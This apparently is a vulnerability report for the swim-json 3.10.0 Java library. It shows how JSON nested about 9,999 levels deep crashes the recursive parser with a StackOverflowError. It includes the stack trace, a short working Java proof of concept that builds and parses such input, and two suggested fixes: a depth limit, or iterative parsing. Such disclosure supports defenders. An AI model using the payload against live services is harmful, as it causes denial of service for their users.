Stack overflow error caused by swim-json parsing of untrusted JSON String

[PoppingSnack]

Stack overflow error caused by swim-json parsing of untrusted JSON String

Description

Using swim-json to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.

Error Log

Exception in thread "main" java.lang.StackOverflowError
    at java.base/java.lang.Character.offsetByCodePoints(Character.java:8685)
    at java.base/java.lang.String.offsetByCodePoints(String.java:820)
    at swim.codec.StringInput.step(StringInput.java:88)
    at swim.json.ObjectParser.parse(ObjectParser.java:61)
    at swim.json.ObjectParser.parse(ObjectParser.java:194)
    at swim.json.JsonParser.parseObject(JsonParser.java:66)
    at swim.json.ValueParser.parse(ValueParser.java:45)
    at swim.json.JsonParser.parseValue(JsonParser.java:62)
    at swim.json.ObjectParser.parse(ObjectParser.java:145)
    at swim.json.ObjectParser.parse(ObjectParser.java:194)
    at swim.json.JsonParser.parseObject(JsonParser.java:66)
    at swim.json.ValueParser.parse(ValueParser.java:45)
    at swim.json.JsonParser.parseValue(JsonParser.java:62)
    at swim.json.ObjectParser.parse(ObjectParser.java:145)
    at swim.json.ObjectParser.parse(ObjectParser.java:194)
    at swim.json.JsonParser.parseObject(JsonParser.java:66)
    at swim.json.ValueParser.parse(ValueParser.java:45)
    at swim.json.JsonParser.parseValue(JsonParser.java:62)
    at swim.json.ObjectParser.parse(ObjectParser.java:145)
    at swim.json.ObjectParser.parse(ObjectParser.java:194)
    at swim.json.JsonParser.parseObject(JsonParser.java:66)
    at swim.json.ValueParser.parse(ValueParser.java:45)
    at swim.json.JsonParser.parseValue(JsonParser.java:62)
    at swim.json.ObjectParser.parse(ObjectParser.java:145)
    at swim.json.ObjectParser.parse(ObjectParser.java:194)
    at swim.json.JsonParser.parseObject(JsonParser.java:66)
    at swim.json.ValueParser.parse(ValueParser.java:45)
    at swim.json.JsonParser.parseValue(JsonParser.java:62)
    at swim.json.ObjectParser.parse(ObjectParser.java:145)
    at swim.json.ObjectParser.parse(ObjectParser.java:194)
    at swim.json.JsonParser.parseObject(JsonParser.java:66)
    at swim.json.ValueParser.parse(ValueParser.java:45)
    at swim.json.JsonParser.parseValue(JsonParser.java:62)
    at swim.json.ObjectParser.parse(ObjectParser.java:145)
    at swim.json.ObjectParser.parse(ObjectParser.java:194)
    at swim.json.JsonParser.parseObject(JsonParser.java:66)
    at swim.json.ValueParser.parse(ValueParser.java:45)
    at swim.json.JsonParser.parseValue(JsonParser.java:62)
    at swim.json.ObjectParser.parse(ObjectParser.java:145)

PoC

        <dependency>
            <groupId>ai.swim</groupId>
            <artifactId>swim-json</artifactId>
            <version>3.10.0</version>
        </dependency>

import swim.json.Json;

/**
 * PoC
 *
 * @since 1.0.0
 */
public class PoC {
    public final static int TOO_DEEP_NESTING = 9999;
    public final static String TOO_DEEP_Array = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "1");
    public final static String TOO_DEEP_Object = "{" + _nestedDoc(TOO_DEEP_NESTING, "\"a\": { ", "} ", "1") + "}";

    public static String _nestedDoc(int nesting, String open, String close, String content) {
        StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
        for (int i = 0; i < nesting; ++i) {
            sb.append(open);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        sb.append("\n").append(content).append("\n");
        for (int i = 0; i < nesting; ++i) {
            sb.append(close);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        return sb.toString();
    }
    public static void main(String[] args) {
//        Json.parse(TOO_DEEP_Array);
        Json.parse(TOO_DEEP_Object);
    }
}

Rectification Solution

1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)

2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027）)